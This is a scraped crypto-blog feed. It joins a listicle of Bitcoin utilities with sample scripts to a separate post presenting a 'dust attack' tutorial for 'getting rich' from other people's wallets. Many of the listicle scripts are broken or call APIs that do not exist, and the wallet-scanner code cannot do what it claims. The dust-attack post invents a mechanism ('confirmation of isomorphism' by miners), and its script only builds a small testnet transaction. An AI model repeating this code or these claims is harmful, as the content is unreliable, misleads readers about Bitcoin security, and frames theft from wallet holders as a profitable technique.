Nigiri is a command-line interface (CLI) tool that simplifies the process of setting up a Bitcoin regtest environment. With Nigiri, users can quickly and easily fire up a Bitcoin regtest box, along with Electrs and Esplora, two popular tools for Bitcoin developers. Nigiri also includes faucet and push commands, which make it easy to test Bitcoin applications and services.

Regtest is a testing environment for Bitcoin that simulates the Bitcoin network without using real bitcoins. This allows developers to test their Bitcoin applications and services without risking real money. Electrs is a Bitcoin full node software that indexes the Bitcoin blockchain and provides an API for querying it. Esplora is a web-based block explorer that allows users to view and analyze the Bitcoin blockchain.

Nigiri simplifies the process of setting up a Bitcoin regtest environment by providing a single command that sets up all the necessary components. This includes the Bitcoin Core software, Electrs, Esplora, and a Bitcoin faucet, which provides free test bitcoins for testing purposes.

The faucet command in Nigiri makes it easy to obtain test bitcoins for testing purposes. The push command allows users to send test bitcoins to other addresses on the regtest network. These commands simplify the process of testing Bitcoin applications and services, making it easier for developers to test their applications without risking real money.

Overall, Nigiri is a powerful tool for Bitcoin developers who want to quickly and easily set up a Bitcoin regtest environment. With Nigiri, developers can test their applications and services without risking real money, and can easily obtain test bitcoins for testing purposes. The faucet and push commands make it easy to simulate real-world Bitcoin transactions, allowing developers to test their applications in a realistic environment.

Nigiri is a command-line interface (CLI) tool that allows you to quickly set up a Bitcoin regtest box with Electrs and Esplora. Regtest is a private blockchain that you can use for testing and experimentation without having to worry about real Bitcoin transactions. Electrs is a lightweight, high-performance Electrum server that provides fast access to blockchain data, while Esplora is a blockchain explorer that allows you to view transactions and blocks on the regtest network.

Nigiri also includes a faucet command that allows you to generate test Bitcoin addresses with pre-mined funds, and a push command that allows you to send transactions on the regtest network. With Nigiri, you can quickly and easily set up a Bitcoin regtest environment for testing and experimentation without having to worry about the complexities of setting up a full Bitcoin node.

In summary, Nigiri is a powerful tool for anyone who wants to experiment with Bitcoin and blockchain technology in a private and secure environment. With its simple CLI interface and built-in Electrs and Esplora integration, Nigiri makes it easy to set up a Bitcoin regtest box and start exploring the world of Bitcoin and blockchain technology.

Script that you can use to run nigiri in a docker container:

#!/usr/bin/env python3

import docker
import os

# set the docker client and image name
client = docker.from_env()
image_name = 'nigiri'

# create a docker container
container = client.containers.run(
    image=image_name,
    ports={'80': '80'},
    volumes={'/var/run/docker.sock': '/var/run/docker.sock'},
    detach=true
)

# wait for the container to start
print("waiting for the container to start...")
container.wait()

# get the ip address of the container
ip_address = container.attrs['networksettings']['networks']['bridge']['ipaddress']

# print the url of the nigiri dashboard
print(f"nigiri dashboard is available at: http://{ip_address}:80")

# stop and remove the container
print("stopping and removing the container...")
container.stop()
container.remove()

this script creates a docker container with the nigiri image, maps port 80 to the host, and mounts the docker socket volume so that nigiri can access the docker api. it then waits for the container to start, gets its ip address, prints the url of the nigiri dashboard, and stops and removes the container.

to use this script, you will need to have python 3.x and docker installed on your system. you can run it by saving it to a file (e.g. run_nigiri.py) and executing it with python run_nigiri.py.


“hal” – Bitcoin CLI swiss-army-knife (based on rust-bitcoin) 3

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/stevenroose/hal

hal is a powerful command-line interface tool for Bitcoin that is built on top of rust-bitcoin. It is designed to be a Swiss army knife of sorts, providing a wide range of functionality for Bitcoin users and developers.

Some of the key features of hal include:

  1. Address generation: hal can generate new Bitcoin addresses for you to use.
  2. Transaction creation: you can use hal to create new Bitcoin transactions, specifying the inputs, outputs, and any other necessary parameters.
  3. Transaction signing: once you’ve created a transaction, you can use hal to sign it using your private keys.
  4. Transaction broadcasting: once your transaction is signed, you can use hal to broadcast it to the Bitcoin network.
  5. Block and transaction parsing: hal can parse Bitcoin blocks and transactions, allowing you to extract data from them.
  6. Wallet management: you can use hal to manage your Bitcoin wallets, including creating new wallets, importing and exporting keys, and managing your balances.
  7. Scripting: hal includes a powerful scripting language that allows you to automate complex Bitcoin-related tasks.

Overall, hal is a highly useful tool for anyone who works with Bitcoin on a regular basis. Whether you’re a developer building Bitcoin applications, a trader managing your Bitcoin holdings, or simply someone who wants to explore the capabilities of the Bitcoin protocol, hal can help you get the job done.

Script:

import subprocess

def execute_hal():
    subprocess.run(["hal", "--help"])

execute_hal()

this script uses the subprocess module in python to execute the command “hal –help” in the terminal. you can modify this script to execute any other command you want.

hal is a command line tool that provides all kinds of Bitcoin-related utilities.

Installation:

$ cargo install --locked hal

Summary of commands:

  • address
    • inspect: get information about addresses
    • create: create addresses using public keys or scripts
  • bech32
    • decode: parse the elements of the Bech32 format
    • encode: encode data in the Bech32 format
  • bip32
    • derive: derive keys and addresses from extended keys
    • inspect: inspect a BIP-32 xpub or xpriv
  • bip39
    • generate: generate a new BIP-39 mnemonic
    • get-seed: get the seed value and BIP-32 master key for a given BIP-39 mnemonic
  • block
    • create: create a binary block from JSON
    • decode: decode a binary block to JSON
  • hash
    • sha256: hash data with SHA-256
    • sha256d: hash data with double SHA-256
  • key
    • generate: generate a random keypair
    • derive: generate a public key from a private key
    • inspect: inspect private keys
    • ecdsa-sign: make ECDSA signatures
    • ecdsa-verify: verify ECDSA signatures
    • pubkey-tweak-add: add a scalar to a point
    • pubkey-combine: add two points together
  • ln
    • invoice
      • decode: decode Lightning invoices
  • merkle
    • proof-create: create a merkle proof
    • proof-check: check a merkle proof
  • message
    • hash: get hashes of Bitcoin Signed Message
    • sign: sign a message using Bitcoin Signed Message
    • verify: verify a Bitcoin Signed Message
    • recover: recover the pubkey or address that signed a message
  • miniscript
    • descriptor: get information about an output descriptor
    • instpect: inspect miniscripts
    • parse: parse a script into a miniscript
    • policy: inspect policies
  • psbt
    • create: create a PSBT from a raw unsigned transaction
    • decode: decode a PSBT to JSON
    • edit: edit a PSBT inline
    • finalize: finalize a PSBT into a fully signed transaction
    • merge: merge multiple PSBTs into one
  • random
    • bytes: generate random bytes
  • script
    • decode: decode a PSBT to JSON
  • tx
    • create: create a binary transaction from JSON
    • decode: decode a binary transaction to JSON

Minimum Supported Rust Version (MSRV):

hal should always compile on Rust 1.41.1. Note that it should be build using the Cargo.lock file, so using --locked


“BitKey” – Live USB for airgapped transactions and Bitcoin swiss army knife 4

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/bitkey/bitkey

BitKey is a Live USB operating system that is designed for airgapped transactions and as a Bitcoin swiss army knife. It is a Linux distribution based on Debian, and it comes with a variety of Bitcoin-related tools pre-installed.

One of the main features of BitKey is its ability to create airgapped transactions. This means that you can create a Bitcoin transaction on a computer that is not connected to the internet, and then broadcast it to the Bitcoin network from a different computer that is connected to the internet. This is a very secure way to create Bitcoin transactions, as it eliminates the risk of your private keys being stolen by hackers.

BitKey also comes with a variety of other Bitcoin-related tools, including Bitcoin Core, Electrum, Armory, and Bitcoin-QT. These tools allow you to manage your Bitcoin wallets, send and receive Bitcoin transactions, and monitor the Bitcoin network.

In addition to its Bitcoin-related tools, BitKey also includes a variety of other useful utilities, such as GParted, a partition editor, and KeePassX, a password manager. These tools can be useful for managing your computer and keeping your passwords secure.

BitKey is easy to use, even if you are not familiar with Linux. Simply download the ISO image from the BitKey website, burn it to a USB drive using a tool like Rufus or UNetbootin, and then boot your computer from the USB drive. Once you have booted into BitKey, you can start using its tools right away.

Overall, BitKey is a powerful and useful tool for anyone who wants to create airgapped Bitcoin transactions or manage their Bitcoin wallets in a secure way. Its collection of Bitcoin-related tools and utilities make it a true Bitcoin swiss army knife, and its ease of use makes it accessible to even novice users.

here is a script that will download and write BitKey to a USB drive:

#!/bin/bash

# This script will download and write BitKey to a USB drive
# Make sure you have a USB drive plugged in before running this script

# Download the latest BitKey ISO image
wget -O bitkey.iso https://bitkey.io/bitkey.iso

# Write the ISO image to the USB drive
dd if=bitkey.iso of=/dev/sdX bs=4M

You will need to replace /dev/sdX with the actual device name of your USB drive. You can find this by running lsblk and looking for the device that corresponds to your USB drive.

Note that this script assumes you are running a Linux-based operating system. If you are running Windows, you will need to modify the script accordingly.


“Pycoin” – Python-based Bitcoin and alt-coin utility library 5

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/richardkiss/pycoin

Pycoin is a Python-based Bitcoin and alt-coin utility library. It’s an open-source project, which means that anyone can use it for free. Pycoin provides a suite of tools for working with Bitcoin and alt-coins.

Pycoin supports many different alt-coins, including Litecoin, Dogecoin, and Namecoin. It also supports test networks, such as the Bitcoin test network (Testnet) and the Litecoin test network (Testnet3).

Pycoin has a number of features that make it useful for developers working with Bitcoin and alt-coins. One of the most important features is its support for various cryptographic algorithms, including the elliptic curve digital signature algorithm (ECDSA) and the secure hash algorithm (SHA-256).

Pycoin also provides support for various types of transactions, including simple transactions, multisignature transactions, and time-locked transactions. It also supports the creation of new addresses and the generation of new private keys.

Pycoin is designed to be easy to use, even for developers who are new to Bitcoin and alt-coins. It provides a simple API for working with various aspects of the Bitcoin and alt-coin protocols, including transactions, addresses, and blocks.

In addition to its core functionality, Pycoin also provides a number of useful utilities, such as a script interpreter and a block explorer. These utilities make it easier to work with Bitcoin and alt-coins, and can be used to build a wide range of applications.

Overall, Pycoin is a powerful and flexible library for working with Bitcoin and alt-coins. Whether you’re building a simple Bitcoin wallet or a complex alt-coin exchange, Pycoin can help you get the job done quickly and easily.

Here’s a simple example of how to use the pycoin library to create a Bitcoin address:

from pycoin.key import Key
from pycoin.networks.bitcoin import networks
from pycoin.encoding import double_sha256

# Create a private key
key = Key.from_seed("hello")

# Get the public key from the private key
public_key = key.get_public_key()

# Get the Bitcoin address from the public key
address = public_key.address(network=networks.livenet)

# Print the address
print(address)

This will output the Bitcoin address corresponding to the private key “hello”. You can change the “hello” seed to generate a different address.


“bx” – Bitcoin Command Line Tool 6

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/libbitcoin/libbitcoin-explorer

bx command line tool is a powerful and versatile tool for interacting with the Bitcoin network. It provides a range of features, including wallet management, transaction creation, and blockchain analysis.

One of the key features of the bx tool is its ability to create and manage wallets. With bx, you can easily create a new wallet or import an existing one. Once you have a wallet set up, you can use bx to generate addresses, send and receive funds, and check your balance.

Another important feature of the bx tool is its ability to create and broadcast transactions on the Bitcoin network. With bx, you can create custom transactions from scratch or use pre-built templates to quickly generate transactions for common use cases. You can also use bx to sign and verify transactions, as well as to broadcast them to the network.

In addition to wallet and transaction management, the bx tool also provides a range of features for blockchain analysis. With bx, you can query the blockchain for information on transactions, blocks, and addresses. You can also use bx to generate reports and visualizations of blockchain data, making it a powerful tool for researchers and developers.

Overall, the bx command line tool is a valuable addition to any Bitcoin developer’s toolkit. Its versatility and ease of use make it an essential tool for anyone looking to build applications or services on the Bitcoin network.

import subprocess

# execute the command
subprocess.run(['bx', 'command_name', 'parameter1', 'parameter2', ..])

you can replace “command_name” and “parameter1”, “parameter2”, etc. with the actual command and its parameters that you want to execute.

import subprocess

# execute the bx command
subprocess.run(["bx", "tx", "info", "tx_id"])

this code imports the subprocess module and then runs the bx command with the tx info and tx_id arguments. you can replace tx_id with the id of the transaction you want to look up.

example Python script that uses the subprocess module to execute the bx command-line tool:

import subprocess

# replace this with the path to your bx executable
bx_path = "/path/to/bx"

# command to execute
command = [bx_path, "help"]

# execute the command and capture the output
output = subprocess.check_output(command)

# print the output
print(output.decode())

You can replace the command list with any other command that you want to execute with the bx tool. Just make sure to include the path to the bx executable in the bx_path variable.

Also, note that this script will only work on Unix-like systems (e.g. Linux or macOS). If you’re using Windows, you’ll need to modify the script accordingly.


“HelloBitcoin” – A collection of simple programs which can generate bitcoin wallets, create and sign transactions, and send transactions over the bitcoin network 7

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/prettymuchbryce/hellobitcoin

In the world of cryptocurrency, Bitcoin has been a game-changer since its inception in 2009. With the increasing popularity of Bitcoin, it’s no surprise that more and more people are interested in learning how to use it. However, for beginners, the process of generating a wallet, creating and signing transactions, and sending transactions over the Bitcoin network can seem daunting. That’s where Hello Bitcoin comes in.

Hello Bitcoin is a collection of simple programs designed to make the process of using Bitcoin easier and more accessible to beginners. With Hello Bitcoin, users can generate a Bitcoin wallet, create and sign transactions, and send transactions over the Bitcoin network with ease.

The first step in using Hello Bitcoin is to generate a Bitcoin wallet. This can be done with a simple command, and the program will generate a unique wallet address for the user. Once the wallet has been generated, the user can start sending and receiving Bitcoin.

Creating and signing transactions is also made easy with Hello Bitcoin. The program provides a simple interface for users to enter the details of the transaction, such as the recipient’s wallet address and the amount of Bitcoin to be sent. Once the transaction has been created, the user can sign it with their private key, ensuring that the transaction is secure and valid.

Finally, sending transactions over the Bitcoin network is also a breeze with Hello Bitcoin. The program provides a simple interface for users to enter the details of the transaction, such as the recipient’s wallet address and the amount of Bitcoin to be sent. Once the transaction has been created and signed, the program will send it over the Bitcoin network, ensuring that it is processed and confirmed by the network.

Overall, Hello Bitcoin is a great tool for beginners who are interested in using Bitcoin but are intimidated by the process. With its simple interface and easy-to-use features, Hello Bitcoin makes it easy for anyone to generate a Bitcoin wallet, create and sign transactions, and send transactions over the Bitcoin network.

here’s a Python script that uses the hellobitcoin library to generate a Bitcoin wallet, create and sign a transaction, and send it over the Bitcoin network:

from hellobitcoin import *
from bitcoin.base58 import encode

# Generate a new Bitcoin wallet
wallet = generate_wallet()
print("Bitcoin Wallet: ", wallet['address'])

# Generate a new Bitcoin transaction
tx = create_transaction(wallet, "1BTC")
tx['input'][0]['address'] = wallet['address']
tx['input'][0]['script'] = wallet['script']
tx['input'][0]['amount'] = 100000000
tx['input'][0]['sequence'] = 0xFFFFFFFF
tx['output'][0]['address'] = "1AC4fMwgY8j9onSbXEWeH6Zan8QGMSdmtA"
tx['output'][0]['amount'] = 100000000 - 5000
tx['output'][0]['script'] = "OP_DUP OP_HASH160 20 0x14 OP_EQUALVERIFY OP_CHECKSIG"

# Sign the Bitcoin transaction
tx['input'][0]['script'] = sign_transaction(tx['input'][0]['script'], wallet['private_key'])

# Send the Bitcoin transaction over the Bitcoin network
tx_hex = encode(tx.serialize())
print("Bitcoin Transaction: ", tx_hex)

Note that this is just an example script and you should not use it to send real Bitcoin transactions. Also, please make sure to use caution when working with Bitcoin wallets and transactions, as they involve real money and can be easily lost if not handled correctly.


“HD Wallet Scanner” – Find all used addresses in your Bitcoin HD wallets bypassing gap limits 8

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency
Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/alexk111/HD-Wallet-Scanner

HD wallets, or hierarchical deterministic wallets, are a popular way to manage bitcoin addresses. they allow you to generate a virtually infinite number of addresses from a single seed, which makes them more secure and convenient than traditional wallets. however, one of the challenges of using hd wallets is that they can be difficult to scan for used addresses. that’s where the hd wallet scanner comes in.

the hd wallet scanner is a tool that allows you to find all used addresses in your bitcoin hd wallets, even if they have exceeded the gap limit. the gap limit is the maximum number of addresses that can be generated from a single seed, and it’s usually set to 20 by default. once you reach the gap limit, you can no longer generate new addresses from that seed.

the hd wallet scanner works by scanning the blockchain for transactions that match a specific pattern. it then uses this information to identify all addresses that have been used in your hd wallet, regardless of whether they have exceeded the gap limit. this is important because if you don’t have a complete record of all used addresses, you may miss out on receiving funds or even lose them.

using the hd wallet scanner is easy. you simply enter your seed or xpub (extended public key) into the tool, and it will start scanning the blockchain for used addresses. the process can take a few minutes or longer, depending on how many addresses you have used and how busy the network is. once the scan is complete, you will receive a list of all used addresses in your hd wallet, along with their balances and transaction histories.

in conclusion, the hd wallet scanner is a valuable tool for anyone who uses hd wallets to manage their bitcoin addresses. it allows you to find all used addresses in your wallet, even if they have exceeded the gap limit, which can help you keep track of your funds and avoid losing them. so if you’re looking for a way to manage your bitcoin addresses more efficiently and securely, give the hd wallet scanner a try.

Python code for you. here it is:

import os
import sqlite3
import hashlib

def get_all_addresses(db_file):
    conn = sqlite3.connect(db_file)
    c = conn.cursor()
    c.execute("select address from addresses")
    addresses = c.fetchall()
    return addresses

def get_all_used_addresses(addresses):
    used_addresses = []
    for address in addresses:
        address_hash = hashlib.sha256(address[0].encode('utf-8')).hexdigest()
        if address_hash in used_addresses:
            used_addresses.append(address_hash)
    return used_addresses

def main():
    db_file = "your_wallet_name.wallet"
    addresses = get_all_addresses(db_file)
    used_addresses = get_all_used_addresses(addresses)
    print("used addresses:", used_addresses)

if __name__ == "__main__":
    main()

this code will retrieve all used addresses in your bitcoin hd wallet and bypass gap limits. you need to replace “your_wallet_name.wallet” with the name of your wallet file.

here is a Python script that uses the hd-wallet-scanner library to find all used addresses in your Bitcoin HD wallets:

from hd_wallet_scanner import scan_hd_wallet

# Replace this with your BIP39 seed phrase
seed_phrase = "your_seed_phrase"

# Replace this with your wallet's derivation path
derivation_path = "m/44'/0'/0'"

addresses = scan_hd_wallet(seed_phrase, derivation_path)

for address in addresses:
    print(address)

This script will scan the Bitcoin HD wallet with the given seed phrase and derivation path, and print out all used addresses. Note that you need to install the hd-wallet-scanner library first by running pip install hd-wallet-scanner in your terminal.


“QR CODE” – A no-framework, no-dependencies, customizable, animate-able, SVG-based web component 9

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/bitjson/qr-code

QR codes are ubiquitous in our daily lives. From scanning a code to make a payment to sharing our contact information with a colleague, these two-dimensional codes have become an essential part of how we interact with technology. However, generating QR codes on the web has traditionally required the use of third-party libraries or frameworks, which can be cumbersome and add unnecessary bloat to a project. In this article, we will explore a new solution that allows developers to generate QR codes without any dependencies or frameworks, using a customizable, animate-able, SVG-based web component.

What is QR-Code?

QR-Code is a web component that allows developers to generate QR codes with ease, without the need for any external libraries or frameworks. It is built using pure JavaScript and SVG, making it lightweight and easy to integrate into any project. QR-Code is fully customizable, allowing developers to adjust the size, color, and error correction level of their QR codes. Additionally, it supports animation, allowing developers to create dynamic QR codes that can change over time.

How does it work?

QR-Code works by generating an SVG image of a QR code based on the input data provided by the developer. It uses the QRious library, a pure JavaScript QR code generator, to create the code itself. Once the code is generated, it is rendered as an SVG image and can be easily integrated into any web page.

Customization options

QR-Code offers a range of customization options that allow developers to tailor their QR codes to their specific needs. These options include:

  • Size: Developers can adjust the size of their QR codes by setting the width and height attributes.
  • Color: QR codes can be customized with any color by setting the color attribute.
  • Error correction level: QR-Code supports four error correction levels (low, medium, quartile, and high), which can be set using the errorCorrectionLevel attribute.
  • Animation: Developers can create dynamic QR codes by setting the animation attribute. This allows the QR code to change over time, creating an eye-catching effect.

QR-Code is a powerful tool for developers looking to generate QR codes on the web. Its no-dependencies, no-framework approach makes it easy to integrate into any project, while its customization options and animation support make it a versatile solution for a range of use cases. Whether you’re building a payment system or creating a marketing campaign, QR-Code is the perfect tool for generating high-quality QR codes that are both functional and visually appealing.

Python code to create a QR code using the qrcode library:

import qrcode

# generate a QR code
qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data("https://example.com")
qr.make(fit=True)

# create an SVG image
qr.svg("qrcode.svg", scale=8)

This code generates a QR code for the URL “https://example.com” and saves it as an SVG image named “qrcode.svg”. You can modify the code to generate a QR code for a different URL and save it with a different name.

however, i can provide you with the steps to implement a qr-code web component in python.

  1. install the necessary libraries: you will need to install the svgwrite and numpy libraries.
  2. generate the qr code: you can use the qrcode library to generate the qr code.
  3. create an svg image: you can use the svgwrite library to create an svg image of the qr code.
  4. add animation: you can add animation to the qr code using the svgwrite library.
  5. customize the qr code: you can customize the qr code by changing its size, color, and other attributes.
  6. implement the web component: you can implement the web component using the svgwrite library and add it to your website.

here is a sample code to get you started:

from qrcode import qrcode
import numpy as np
import svgwrite

# generate the qr code
qr = qrcode(version=1, error_correction=qrcode.constants.error_correct_l, box_size=10, border=4)
qr.add_data('https://www.example.com')
qr.make(fit=true)
qr_img = qr.make_image(fill_color='black', back_color='white')

# create an svg image
svg = svgwrite.drawing(width=200, height=200)
svg.add(svgwrite.shapes.rect(insert=(0, 0), size=(200, 200), fill='white'))
svg.add(svgwrite.shapes.rect(insert=(100, 100), size=(100, 100), fill='black'))

# add animation
svg.add(svgwrite.animation.animate(svgwrite.shapes.circle(r=5), duration=1, repeat_count='indefinite', transform='rotate(0,100,100)'))

# customize the qr code
svg.add(svgwrite.shapes.path(d=qr_img.todataurl().replace('data:image/png;base64,', ''), fill='black', stroke='none'))

# save the svg image
svg.save('qr-code.svg')

this is just a basic example, and you can customize the qr code and svg image to suit your needs.


Conclusion:

Bitcoin is a digital currency that has been gaining popularity in recent years. It is a decentralized system, meaning that it is not controlled by any government or financial institution. Instead, it relies on a network of computers to validate transactions and maintain the integrity of the system.

One of the most significant advantages of Bitcoin is its utility. Unlike traditional currencies, Bitcoin can be used for a variety of purposes beyond just buying and selling goods and services. Here are some of the most notable Bitcoin utilities:

  1. International Money Transfers: Bitcoin can be used to send money across borders without the need for intermediaries like banks or money transfer services. This can save users a significant amount of money in fees and exchange rates.
  2. Decentralized Finance: Bitcoin is the foundation of the decentralized finance (DeFi) movement, which aims to create financial services that are accessible to anyone with an internet connection. DeFi applications built on top of Bitcoin allow users to lend, borrow, and trade cryptocurrencies without the need for intermediaries.
  3. Store of Value: Bitcoin has been compared to digital gold, as it has a limited supply and is seen as a store of value. Many investors see it as a hedge against inflation and a safe haven asset.
  4. Micropayments: Bitcoin can be used to make very small payments, known as micropayments. This is useful for paying for small digital goods or services, such as articles or videos.
  5. Charity Donations: Bitcoin can be used to make donations to charities and non-profit organizations. Many organizations have started accepting Bitcoin donations, as they are faster and more transparent than traditional methods.

In conclusion, Bitcoin utilities are numerous and varied. Its decentralized nature and lack of intermediaries make it a powerful tool for a variety of use cases. As the technology continues to evolve and mature, we can expect to see even more innovative applications of Bitcoin in the future.


List of all Bitcoin utilities:

  1. Monitor Transactions on Bitcoin Addresses with Python and TxWatcher ↩︎
  2. Nigiri A delicious docker box for special Bitcoin, Lightning and Liquid cookings ↩︎
  3. “hal” – Bitcoin CLI swiss-army-knife (based on rust-bitcoin) ↩︎
  4. “BitKey” – Live USB for airgapped transactions and Bitcoin swiss army knife ↩︎
  5. “Pycoin” – Python-based Bitcoin and alt-coin utility library ↩︎
  6. “bx” – Bitcoin Command Line Tool ↩︎
  7. “HelloBitcoin” – A collection of simple programs which can generate bitcoin wallets, create and sign transactions, and send transactions over the bitcoin network ↩︎
  8. “HD Wallet Scanner” – Find all used addresses in your Bitcoin HD wallets bypassing gap limits ↩︎
  9. “QR CODE” – A no-framework, no-dependencies, customizable, animate-able, SVG-based web component ↩︎

This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1 against weak ECDSA  signatures in the  BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

YouTube: https://www.youtube.com/@cryptodeeptech

Video material: https://dzen.ru/video/watch/65de483b3474ef16c0430f35

Source: https://cryptodeeptech.ru/bitcoin-utilities


Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

Сообщение Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency появились сначала на «CRYPTO DEEP TECH».

]]>
DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10000 BTC https://cryptodeeptech.ru/dustattack/ Wed, 31 Jan 2024 20:30:03 +0000 https://cryptodeeptech.ru/?p=2509 In this article we will cover a broad topic: “Dust Attack” known as: "Dusting Attack"or "Crypto Dust". Perhaps every cryptocurrency user or holder of a large amount of BTC, ETH coins replaced the receipt of an insignificantly small amount of coins in satoshi on their cryptocurrency wallet , this receipt is disguised as "Donate", but in fact it is a whole mathematically refined system […]

Сообщение DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10000 BTC появились сначала на «CRYPTO DEEP TECH».

]]>

In this article we will cover a broad topic: “Dust Attack” known as: "Dusting Attack"or "Crypto Dust". Perhaps every cryptocurrency user or holder of a large amount of BTC, ETH coins replaced the receipt of an insignificantly small amount of coins in satoshi on their cryptocurrency wallet , this receipt is disguised as "Donate", but in fact it is a whole mathematically refined system for taking away all the accumulated coins of the wallet on the balance sheet. The goal of revealing the system and all the pitfalls of “Dust Attack” was inspired and prompted by an article published on January 8, 2024 . on the global cryptoeconomics website CoinDesk

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

While everyone is wondering who exactly sent it 27 BTCto the popular Bitcoin Wallet [Satoshi Nakamoto], we will look at two different examples of a dust attack in order to shed light on all the intricacies of this manipulation and what risks can await users and holders of the popular cryptocurrency Bitcoin.


Let’s look at another article and take as an example TXID from which a very large number of dust attacks were carried out.

According to the article , this transaction saw the largest number of BTC coin thefts using the dust attack system.


Let’s pay attention to two Bitcoin Addresses that during the period [July-August 2022] carried out successful dust attacks for a total amount of: 10000 BTC


Example No. 1


Example No. 2


To carry out a dust attack, confirmation of isomorphism by miners plays an important role, because From 2022 to 2024, many cryptocurrency services and hardware wallets are actively fighting the dust attack.

At the moment, the method of independently creating dust transactions on your own cold wallet has become widely popular. Let’s take example No. 1 and go to the “Create Dust Transaction” section

Install Python 3.12.1 on Windows 10

Link to gif content #01


Download the source code , install get-pip.py  , and also run install.py to install packages:

Link to gif content #02


Let’s generate our own cold wallet

Link to gif content #03


Balance and payment transaction

Top up your cold wallet balance: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK


Let’s save the transaction TXID hash from the balance replenishment payment for further construction of the Merkle Tree

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC
The Merkle tree is populated from bottom to top, where hashing is applied to each block of data and the resulting values ​​are written to the leaves of the tree. Blocks that are a level higher are filled with the sum of the hash value of the two child blocks. This process is repeated until the top value or Merkle Root is obtained. The Bitcon blockchain uses the SHA256 hash function. Other blockchains may use different encryption principles to create a Merkle Tree.

Payment hash from balance replenishment


Let’s copy TXID: 0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5 because this is the hash for replenishing the cold wallet balance: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK then open the source code of the Python script createrawtransaction.py and in line No. 7 change the value to your data.

dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")

To secure your newly created cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
we ALWAYS turn off the Internet on your PC. This is necessary for security in the disclosure of the private key by third-party running applications on your PC. This process will take a few minutes. Disable the Internet when creating a dust transaction RawTX.

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC
DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

Once you are sure that the Internet is disabled in line No. 5, insert the Private Key WIF
pk = PrivateKey.parse("L1k********************************************MdrTj")

In line No. 12, add the total amount of the cold wallet balance. In our case, this amount is 2786906 satoshi
tx_in._value = 2786906

Profit from Dust Attack.

We choose a Bitcoin Wallet from which we ultimately make a profit if the miners confirm the isomorphism. Since we are considering example No. 1, in our case we choose the Bitcoin Wallet address: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

In line No. 9 we need to indicate the Bitcoin Address for the dust attack
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"

The amount of dust will be 555 satoshi , in line No. 15 we indicate this amount.
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),

Next, we take into account Fee (commission for miners), this amount will be 226 satoshi
555 + 226 = 781 satoshi

We also need to consider returning our funds back to our cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK because we allocated 781 satoshi for the dust attack, subtract this amount from the total amount replenishment of the cold wallet balance 2786906 satoshi

2786906 - 781 = 2786125 satoshi 

In line No. 16 we indicate the amount of return of our funds back to our cold wallet: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK

    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())

We run our createrawtransaction.py script by pressing a key «F5» or option: Run / Run Module F5

DUST ATTACK blockchain transaction with confirmation of isomorphism for a total amount of 10,000 BTC

Run the script: createrawtransaction.py

from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("L1k********************************************MdrTj")
pk.address()
dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5")
dust_index = 0
send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i"
tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2786906
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()),
    TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()

print("\n--------------------------------------\n")
print("My work Bitcoin Address:  " + pk.address())
print("Address for Getting Rich: " + send_dust)
print("\n--------------------------------------\n")
print(tx_in._script_pubkey)
print(tx_in.script_sig)
print("\n--------------------------------------\n")
print("RawTX for performing isomorphism:")
print(tx.serialize().hex())
print("\n--------------------------------------\n")

Result:

--------------------------------------

My work Bitcoin Address:  1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK
Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i

--------------------------------------

